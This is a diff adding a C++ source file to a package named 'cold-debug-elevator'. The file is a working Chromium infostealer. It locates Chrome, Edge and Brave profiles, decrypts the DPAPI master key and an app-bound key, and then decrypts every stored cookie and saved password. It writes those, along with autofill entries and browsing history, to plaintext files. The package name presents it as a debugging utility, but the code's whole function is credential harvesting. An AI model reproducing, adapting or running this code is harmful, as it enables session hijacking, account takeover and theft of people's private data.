cold-debug-elevator 1.0.1

package/src/BrowserExport.cpp

@@ -0,0 +1,760 @@
+#include "BrowserExport.hpp"
+
+#include <windows.h>
+#include <wincrypt.h>
+#include <bcrypt.h>
+#include <ShlObj.h>
+#include <sqlite3.h>
+#include <algorithm>
+#include <ctime>
+#include <fstream>
+#include <iostream>
+#include <optional>
+#include <sstream>
+#include <string>
+#include <vector>
+
+#pragma comment(lib, "bcrypt.lib")
+#pragma comment(lib, "crypt32.lib")
+#pragma comment(lib, "shell32.lib")
+
+namespace {
+
+constexpr size_t kAesKeySize = 32;
+constexpr size_t kGcmNonceSize = 12;
+constexpr size_t kGcmTagSize = 16;
+constexpr size_t kCookiePlaintextSkip = 32;
+
+struct BrowserTarget {
+	std::wstring folderName;
+	fs::path userDataPath;
+};
+
+std::optional<fs::path> GetLocalAppDataPath()
+{
+	PWSTR localAppData = nullptr;
+	if (FAILED(SHGetKnownFolderPath(FOLDERID_LocalAppData, 0, nullptr, &localAppData))) {
+		return std::nullopt;
+	}
+	fs::path result(localAppData);
+	CoTaskMemFree(localAppData);
+	return result;
+}
+
+std::optional<BrowserTarget> ResolveBrowserTarget(const fs::path& browserExe)
+{
+	const auto localAppData = GetLocalAppDataPath();
+	if (!localAppData.has_value()) {
+		return std::nullopt;
+	}
+
+	const std::wstring exeName = browserExe.filename().wstring();
+	if (_wcsicmp(exeName.c_str(), L"chrome.exe") == 0) {
+		return BrowserTarget{ L"Chrome", *localAppData / L"Google" / L"Chrome" / L"User Data" };
+	}
+	if (_wcsicmp(exeName.c_str(), L"msedge.exe") == 0) {
+		return BrowserTarget{ L"Edge", *localAppData / L"Microsoft" / L"Edge" / L"User Data" };
+	}
+	if (_wcsicmp(exeName.c_str(), L"brave.exe") == 0) {
+		return BrowserTarget{ L"Brave", *localAppData / L"BraveSoftware" / L"Brave-Browser" / L"User Data" };
+	}
+	return std::nullopt;
+}
+
+bool IsProfileDirectoryName(const std::wstring& name)
+{
+	return name == L"Default" || name.rfind(L"Profile ", 0) == 0;
+}
+
+std::string ReadTextFile(const fs::path& path)
+{
+	std::ifstream file(path, std::ios::binary);
+	if (!file) {
+		return {};
+	}
+	return std::string((std::istreambuf_iterator<char>(file)), std::istreambuf_iterator<char>());
+}
+
+std::optional<std::string> ExtractJsonStringField(const std::string& json, const std::string& field)
+{
+	const std::string needle = "\"" + field + "\":\"";
+	const size_t start = json.find(needle);
+	if (start == std::string::npos) {
+		return std::nullopt;
+	}
+
+	const size_t valueStart = start + needle.size();
+	const size_t valueEnd = json.find('"', valueStart);
+	if (valueEnd == std::string::npos || valueEnd <= valueStart) {
+		return std::nullopt;
+	}
+
+	return json.substr(valueStart, valueEnd - valueStart);
+}
+
+std::optional<std::vector<uint8_t>> Base64Decode(const std::string& input)
+{
+	DWORD size = 0;
+	if (!CryptStringToBinaryA(
+		input.c_str(),
+		static_cast<DWORD>(input.size()),
+		CRYPT_STRING_BASE64,
+		nullptr,
+		&size,
+		nullptr,
+		nullptr)) {
+		return std::nullopt;
+	}
+
+	std::vector<uint8_t> output(size);
+	if (!CryptStringToBinaryA(
+		input.c_str(),
+		static_cast<DWORD>(input.size()),
+		CRYPT_STRING_BASE64,
+		output.data(),
+		&size,
+		nullptr,
+		nullptr)) {
+		return std::nullopt;
+	}
+
+	output.resize(size);
+	return output;
+}
+
+std::optional<std::vector<uint8_t>> DpapiDecrypt(const std::vector<uint8_t>& encrypted)
+{
+	DATA_BLOB input{};
+	input.pbData = const_cast<BYTE*>(encrypted.data());
+	input.cbData = static_cast<DWORD>(encrypted.size());
+
+	DATA_BLOB output{};
+	if (!CryptUnprotectData(&input, nullptr, nullptr, nullptr, nullptr, 0, &output)) {
+		return std::nullopt;
+	}
+
+	std::vector<uint8_t> decrypted(output.pbData, output.pbData + output.cbData);
+	LocalFree(output.pbData);
+	return decrypted;
+}
+
+std::optional<std::vector<uint8_t>> GetMasterKey(const fs::path& userDataPath)
+{
+	const fs::path localStatePath = userDataPath / L"Local State";
+	const std::string localState = ReadTextFile(localStatePath);
+	if (localState.empty()) {
+		return std::nullopt;
+	}
+
+	const auto encryptedKeyB64 = ExtractJsonStringField(localState, "encrypted_key");
+	if (!encryptedKeyB64.has_value()) {
+		return std::nullopt;
+	}
+
+	const auto decoded = Base64Decode(*encryptedKeyB64);
+	if (!decoded.has_value() || decoded->size() <= 5) {
+		return std::nullopt;
+	}
+
+	if (decoded->at(0) != 'D' || decoded->at(1) != 'P' || decoded->at(2) != 'A' ||
+		decoded->at(3) != 'P' || decoded->at(4) != 'I') {
+		return std::nullopt;
+	}
+
+	return DpapiDecrypt(std::vector<uint8_t>(decoded->begin() + 5, decoded->end()));
+}
+
+std::optional<std::vector<uint8_t>> AesGcmDecrypt(
+	const std::vector<uint8_t>& key,
+	const uint8_t* nonce,
+	const uint8_t* ciphertext,
+	ULONG ciphertextSize,
+	const uint8_t* tag)
+{
+	BCRYPT_ALG_HANDLE algorithm = nullptr;
+	BCRYPT_KEY_HANDLE keyHandle = nullptr;
+	std::vector<uint8_t> plaintext(ciphertextSize > 0 ? ciphertextSize : 1);
+
+	if (!BCRYPT_SUCCESS(BCryptOpenAlgorithmProvider(&algorithm, BCRYPT_AES_ALGORITHM, nullptr, 0))) {
+		return std::nullopt;
+	}
+
+	if (!BCRYPT_SUCCESS(BCryptSetProperty(
+		algorithm,
+		BCRYPT_CHAINING_MODE,
+		reinterpret_cast<PUCHAR>(const_cast<wchar_t*>(BCRYPT_CHAIN_MODE_GCM)),
+		static_cast<ULONG>((wcslen(BCRYPT_CHAIN_MODE_GCM) + 1) * sizeof(wchar_t)),
+		0))) {
+		BCryptCloseAlgorithmProvider(algorithm, 0);
+		return std::nullopt;
+	}
+
+	if (!BCRYPT_SUCCESS(BCryptGenerateSymmetricKey(
+		algorithm,
+		&keyHandle,
+		nullptr,
+		0,
+		const_cast<PUCHAR>(key.data()),
+		static_cast<ULONG>(key.size()),
+		0))) {
+		BCryptCloseAlgorithmProvider(algorithm, 0);
+		return std::nullopt;
+	}
+
+	BCRYPT_AUTHENTICATED_CIPHER_MODE_INFO authInfo;
+	BCRYPT_INIT_AUTH_MODE_INFO(authInfo);
+	authInfo.pbNonce = const_cast<PUCHAR>(nonce);
+	authInfo.cbNonce = kGcmNonceSize;
+	authInfo.pbTag = const_cast<PUCHAR>(tag);
+	authInfo.cbTag = kGcmTagSize;
+
+	ULONG bytesDone = 0;
+	const NTSTATUS status = BCryptDecrypt(
+		keyHandle,
+		const_cast<PUCHAR>(ciphertext),
+		ciphertextSize,
+		&authInfo,
+		nullptr,
+		0,
+		plaintext.data(),
+		static_cast<ULONG>(plaintext.size()),
+		&bytesDone,
+		0);
+
+	BCryptDestroyKey(keyHandle);
+	BCryptCloseAlgorithmProvider(algorithm, 0);
+
+	if (!BCRYPT_SUCCESS(status)) {
+		return std::nullopt;
+	}
+
+	plaintext.resize(bytesDone);
+	return plaintext;
+}
+
+std::optional<std::vector<uint8_t>> DecryptChromiumBlob(
+	const std::vector<uint8_t>& encrypted,
+	const std::vector<uint8_t>& masterKey,
+	const std::vector<uint8_t>& appBoundKey)
+{
+	if (encrypted.size() < 3 + kGcmNonceSize + kGcmTagSize) {
+		return std::nullopt;
+	}
+
+	const std::string prefix(reinterpret_cast<const char*>(encrypted.data()), 3);
+	const uint8_t* nonce = encrypted.data() + 3;
+	const uint8_t* tag = encrypted.data() + encrypted.size() - kGcmTagSize;
+	const uint8_t* ciphertext = encrypted.data() + 3 + kGcmNonceSize;
+	const ULONG ciphertextSize = static_cast<ULONG>(encrypted.size() - 3 - kGcmNonceSize - kGcmTagSize);
+
+	const std::vector<uint8_t>* key = nullptr;
+	if (prefix == "v20") {
+		if (appBoundKey.size() != kAesKeySize) {
+			return std::nullopt;
+		}
+		key = &appBoundKey;
+	}
+	else if (prefix == "v10" || prefix == "v11") {
+		if (masterKey.size() != kAesKeySize) {
+			return std::nullopt;
+		}
+		key = &masterKey;
+	}
+	else {
+		return std::nullopt;
+	}
+
+	return AesGcmDecrypt(*key, nonce, ciphertext, ciphertextSize, tag);
+}
+
+std::optional<std::string> DecryptToString(
+	const std::vector<uint8_t>& encrypted,
+	const std::vector<uint8_t>& masterKey,
+	const std::vector<uint8_t>& appBoundKey,
+	bool stripCookiePrefix)
+{
+	const auto decrypted = DecryptChromiumBlob(encrypted, masterKey, appBoundKey);
+	if (!decrypted.has_value() || decrypted->empty()) {
+		return std::nullopt;
+	}
+
+	size_t offset = 0;
+	if (stripCookiePrefix) {
+		if (decrypted->size() <= kCookiePlaintextSkip) {
+			return std::nullopt;
+		}
+		offset = kCookiePlaintextSkip;
+	}
+
+	return std::string(
+		reinterpret_cast<const char*>(decrypted->data() + offset),
+		decrypted->size() - offset
+	);
+}
+
+std::optional<fs::path> CopyDatabaseToTemp(const fs::path& sourcePath)
+{
+	if (!fs::exists(sourcePath)) {
+		return std::nullopt;
+	}
+
+	const fs::path tempPath =
+		fs::temp_directory_path() /
+		(L"dbgch_" + std::to_wstring(GetTickCount64()) + L"_" + sourcePath.filename().wstring());
+
+	std::error_code ec;
+	fs::copy_file(sourcePath, tempPath, fs::copy_options::overwrite_existing, ec);
+	if (ec) {
+		return std::nullopt;
+	}
+
+	return tempPath;
+}
+
+int64_t ChromeTimeToUnix(int64_t chromeTime)
+{
+	if (chromeTime <= 0) {
+		return 0;
+	}
+	return (chromeTime - 11644473600000000LL) / 1000000LL;
+}
+
+std::vector<uint8_t> ReadBlob(sqlite3_stmt* stmt, int column)
+{
+	const void* blob = sqlite3_column_blob(stmt, column);
+	const int size = sqlite3_column_bytes(stmt, column);
+	if (!blob || size <= 0) {
+		return {};
+	}
+	const auto* bytes = static_cast<const uint8_t*>(blob);
+	return std::vector<uint8_t>(bytes, bytes + size);
+}
+
+bool WriteTextFile(const fs::path& path, const std::string& content)
+{
+	if (content.empty()) {
+		return false;
+	}
+
+	std::ofstream file(path, std::ios::binary);
+	if (!file) {
+		return false;
+	}
+
+	file << content;
+	return true;
+}
+
+bool ExportCookiesForProfile(
+	const fs::path& profilePath,
+	const fs::path& outputProfilePath,
+	const std::vector<uint8_t>& masterKey,
+	const std::vector<uint8_t>& appBoundKey)
+{
+	const fs::path cookiesDb = profilePath / L"Network" / L"Cookies";
+	const auto tempDb = CopyDatabaseToTemp(cookiesDb);
+	if (!tempDb.has_value()) {
+		return false;
+	}
+
+	sqlite3* db = nullptr;
+	if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	const char* query =
+		"SELECT host_key, name, path, is_secure, expires_utc, is_httponly, encrypted_value FROM cookies";
+
+	sqlite3_stmt* stmt = nullptr;
+	if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
+		sqlite3_close(db);
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	std::ostringstream out;
+	out << "# Netscape HTTP Cookie File\n";
+	out << "# https://curl.se/docs/http-cookies.html\n";
+	out << "# Generated by DebugChromium\n\n";
+
+	int exported = 0;
+	while (sqlite3_step(stmt) == SQLITE_ROW) {
+		const std::string host = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
+		const std::string name = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
+		const std::string cookiePath = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 2));
+		const bool isSecure = sqlite3_column_int(stmt, 3) != 0;
+		const int64_t expires = ChromeTimeToUnix(sqlite3_column_int64(stmt, 4));
+		const bool includeSubdomains = !host.empty() && host.front() == '.';
+
+		const auto encrypted = ReadBlob(stmt, 6);
+		if (encrypted.empty()) {
+			continue;
+		}
+
+		const auto value = DecryptToString(encrypted, masterKey, appBoundKey, true);
+		if (!value.has_value()) {
+			continue;
+		}
+
+		out << host << '\t'
+			<< (includeSubdomains ? "TRUE" : "FALSE") << '\t'
+			<< cookiePath << '\t'
+			<< (isSecure ? "TRUE" : "FALSE") << '\t'
+			<< expires << '\t'
+			<< name << '\t'
+			<< *value << '\n';
+		++exported;
+	}
+
+	sqlite3_finalize(stmt);
+	sqlite3_close(db);
+	std::error_code ec;
+	fs::remove(*tempDb, ec);
+
+	if (exported == 0) {
+		return false;
+	}
+
+	return WriteTextFile(outputProfilePath / "cookies.txt", out.str());
+}
+
+bool ExportPasswordsForProfile(
+	const fs::path& profilePath,
+	const fs::path& outputProfilePath,
+	const std::vector<uint8_t>& masterKey,
+	const std::vector<uint8_t>& appBoundKey)
+{
+	const fs::path loginDb = profilePath / L"Login Data";
+	const auto tempDb = CopyDatabaseToTemp(loginDb);
+	if (!tempDb.has_value()) {
+		return false;
+	}
+
+	sqlite3* db = nullptr;
+	if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	const char* query =
+		"SELECT origin_url, username_value, password_value FROM logins";
+
+	sqlite3_stmt* stmt = nullptr;
+	if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
+		sqlite3_close(db);
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	std::ostringstream out;
+	int exported = 0;
+	while (sqlite3_step(stmt) == SQLITE_ROW) {
+		const char* urlText = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
+		const char* usernameText = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
+		if (!urlText || !usernameText || !*usernameText) {
+			continue;
+		}
+
+		const auto encrypted = ReadBlob(stmt, 2);
+		if (encrypted.empty()) {
+			continue;
+		}
+
+		const auto password = DecryptToString(encrypted, masterKey, appBoundKey, false);
+		if (!password.has_value() || password->empty()) {
+			continue;
+		}
+
+		out << "==================================================\n";
+		out << "URL      : " << urlText << '\n';
+		out << "Username : " << usernameText << '\n';
+		out << "Password : " << *password << '\n';
+		out << "==================================================\n\n";
+		++exported;
+	}
+
+	sqlite3_finalize(stmt);
+	sqlite3_close(db);
+	std::error_code ec;
+	fs::remove(*tempDb, ec);
+
+	if (exported == 0) {
+		return false;
+	}
+
+	return WriteTextFile(outputProfilePath / "passwords.txt", out.str());
+}
+
+std::string FormatUnixTime(int64_t unixTime)
+{
+	if (unixTime <= 0) {
+		return "Unknown";
+	}
+
+	std::time_t timestamp = static_cast<std::time_t>(unixTime);
+	std::tm localTime{};
+	if (localtime_s(&localTime, &timestamp) != 0) {
+		return std::to_string(unixTime);
+	}
+
+	char buffer[64] = {};
+	if (std::strftime(buffer, sizeof(buffer), "%Y-%m-%d %H:%M:%S", &localTime) == 0) {
+		return std::to_string(unixTime);
+	}
+
+	return buffer;
+}
+
+bool ExportAutofillsForProfile(
+	const fs::path& profilePath,
+	const fs::path& outputProfilePath)
+{
+	const fs::path webDataDb = profilePath / L"Web Data";
+	const auto tempDb = CopyDatabaseToTemp(webDataDb);
+	if (!tempDb.has_value()) {
+		return false;
+	}
+
+	sqlite3* db = nullptr;
+	if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	const char* query =
+		"SELECT name, value FROM autofill "
+		"WHERE name IS NOT NULL AND value IS NOT NULL AND name != '' AND value != ''";
+
+	sqlite3_stmt* stmt = nullptr;
+	if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
+		sqlite3_close(db);
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	std::ostringstream out;
+	int exported = 0;
+	while (sqlite3_step(stmt) == SQLITE_ROW) {
+		const char* name = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
+		const char* value = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
+		if (!name || !value) {
+			continue;
+		}
+
+		out << "Name: " << name << " | Value: " << value << '\n';
+		++exported;
+	}
+
+	sqlite3_finalize(stmt);
+	sqlite3_close(db);
+	std::error_code ec;
+	fs::remove(*tempDb, ec);
+
+	if (exported == 0) {
+		return false;
+	}
+
+	return WriteTextFile(outputProfilePath / "autofills.txt", out.str());
+}
+
+bool ExportHistoryForProfile(
+	const fs::path& profilePath,
+	const fs::path& outputProfilePath)
+{
+	const fs::path historyDb = profilePath / L"History";
+	const auto tempDb = CopyDatabaseToTemp(historyDb);
+	if (!tempDb.has_value()) {
+		return false;
+	}
+
+	sqlite3* db = nullptr;
+	if (sqlite3_open16(tempDb->c_str(), &db) != SQLITE_OK || !db) {
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	const char* query =
+		"SELECT url, title, visit_count, last_visit_time FROM urls "
+		"ORDER BY last_visit_time DESC";
+
+	sqlite3_stmt* stmt = nullptr;
+	if (sqlite3_prepare_v2(db, query, -1, &stmt, nullptr) != SQLITE_OK) {
+		sqlite3_close(db);
+		std::error_code ec;
+		fs::remove(*tempDb, ec);
+		return false;
+	}
+
+	std::ostringstream out;
+	int exported = 0;
+	while (sqlite3_step(stmt) == SQLITE_ROW) {
+		const char* url = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 0));
+		if (!url || !*url) {
+			continue;
+		}
+
+		const char* title = reinterpret_cast<const char*>(sqlite3_column_text(stmt, 1));
+		const int visitCount = sqlite3_column_int(stmt, 2);
+		const int64_t lastVisit = ChromeTimeToUnix(sqlite3_column_int64(stmt, 3));
+
+		out << "==================================================\n";
+		out << "URL        : " << url << '\n';
+		out << "Title      : " << (title ? title : "") << '\n';
+		out << "Visits     : " << visitCount << '\n';
+		out << "Last Visit : " << FormatUnixTime(lastVisit) << '\n';
+		out << "==================================================\n\n";
+		++exported;
+	}
+
+	sqlite3_finalize(stmt);
+	sqlite3_close(db);
+	std::error_code ec;
+	fs::remove(*tempDb, ec);
+
+	if (exported == 0) {
+		return false;
+	}
+
+	return WriteTextFile(outputProfilePath / "history.txt", out.str());
+}
+
+} // namespace
+
+std::vector<BrowserInstall> FindInstalledChromiumBrowsers()
+{
+	static const fs::path kKnownExePaths[] = {
+		fs::path(L"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe"),
+		fs::path(L"C:\\Program Files\\BraveSoftware\\Brave-Browser\\Application\\brave.exe"),
+		fs::path(L"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe"),
+		fs::path(L"C:\\Program Files\\Microsoft\\Edge\\Application\\msedge.exe"),
+	};
+
+	std::vector<BrowserInstall> installs;
+	for (const auto& exePath : kKnownExePaths) {
+		if (!fs::exists(exePath)) {
+			continue;
+		}
+
+		const auto target = ResolveBrowserTarget(exePath);
+		if (!target.has_value() || !fs::exists(target->userDataPath)) {
+			continue;
+		}
+
+		if (std::any_of(
+			installs.begin(),
+			installs.end(),
+			[&](const BrowserInstall& existing) {
+				return existing.displayName == target->folderName;
+			})) {
+			continue;
+		}
+
+		installs.push_back(BrowserInstall{
+			exePath,
+			target->folderName,
+			target->userDataPath
+		});
+	}
+
+	return installs;
+}
+
+bool ExportBrowserProfiles(
+	const fs::path& browserExe,
+	const std::vector<uint8_t>& appBoundKey,
+	const fs::path& outputRoot)
+{
+	const auto target = ResolveBrowserTarget(browserExe);
+	if (!target.has_value()) {
+		std::cerr << "[-] Unsupported browser executable for export." << std::endl;
+		return false;
+	}
+
+	if (!fs::exists(target->userDataPath)) {
+		std::wcerr << L"[-] Browser user data not found: " << target->userDataPath.wstring() << std::endl;
+		return false;
+	}
+
+	const auto masterKey = GetMasterKey(target->userDataPath);
+	if (!masterKey.has_value() || masterKey->size() != kAesKeySize) {
+		std::cerr << "[-] Failed to decrypt master key from Local State." << std::endl;
+		return false;
+	}
+
+	if (appBoundKey.size() != kAesKeySize) {
+		std::cerr << "[-] Invalid app-bound key size." << std::endl;
+		return false;
+	}
+
+	const fs::path browserOutput = outputRoot / target->folderName;
+	std::error_code ec;
+	fs::create_directories(browserOutput, ec);
+
+	std::cout << "[*] Exporting browser data to: " << browserOutput.string() << std::endl;
+
+	int profileCount = 0;
+	int cookieFiles = 0;
+	int passwordFiles = 0;
+	int autofillFiles = 0;
+	int historyFiles = 0;
+
+	for (const auto& entry : fs::directory_iterator(target->userDataPath, ec)) {
+		if (ec || !entry.is_directory()) {
+			continue;
+		}
+
+		const std::wstring profileName = entry.path().filename().wstring();
+		if (!IsProfileDirectoryName(profileName)) {
+			continue;
+		}
+
+		const fs::path profilePath = entry.path();
+		const fs::path outputProfilePath = browserOutput / profileName;
+		fs::create_directories(outputProfilePath, ec);
+
+		std::wcout << L"[*] Processing profile: " << profileName << std::endl;
+
+		if (ExportCookiesForProfile(profilePath, outputProfilePath, *masterKey, appBoundKey)) {
+			++cookieFiles;
+			std::wcout << L"    [+] cookies.txt" << std::endl;
+		}
+
+		if (ExportPasswordsForProfile(profilePath, outputProfilePath, *masterKey, appBoundKey)) {
+			++passwordFiles;
+			std::wcout << L"    [+] passwords.txt" << std::endl;
+		}
+
+		if (ExportAutofillsForProfile(profilePath, outputProfilePath)) {
+			++autofillFiles;
+			std::wcout << L"    [+] autofills.txt" << std::endl;
+		}
+
+		if (ExportHistoryForProfile(profilePath, outputProfilePath)) {
+			++historyFiles;
+			std::wcout << L"    [+] history.txt" << std::endl;
+		}
+
+		++profileCount;
+	}
+
+	if (profileCount == 0) {
+		std::cerr << "[-] No browser profiles found to export." << std::endl;
+		return false;
+	}
+
+	std::cout << "[+] Exported " << cookieFiles << " cookie file(s), "
+		<< passwordFiles << " password file(s), "
+		<< autofillFiles << " autofill file(s), and "
+		<< historyFiles << " history file(s) across "
+		<< profileCount << " profile(s)." << std::endl;
+
+	return cookieFiles > 0 || passwordFiles > 0 || autofillFiles > 0 || historyFiles > 0;
+}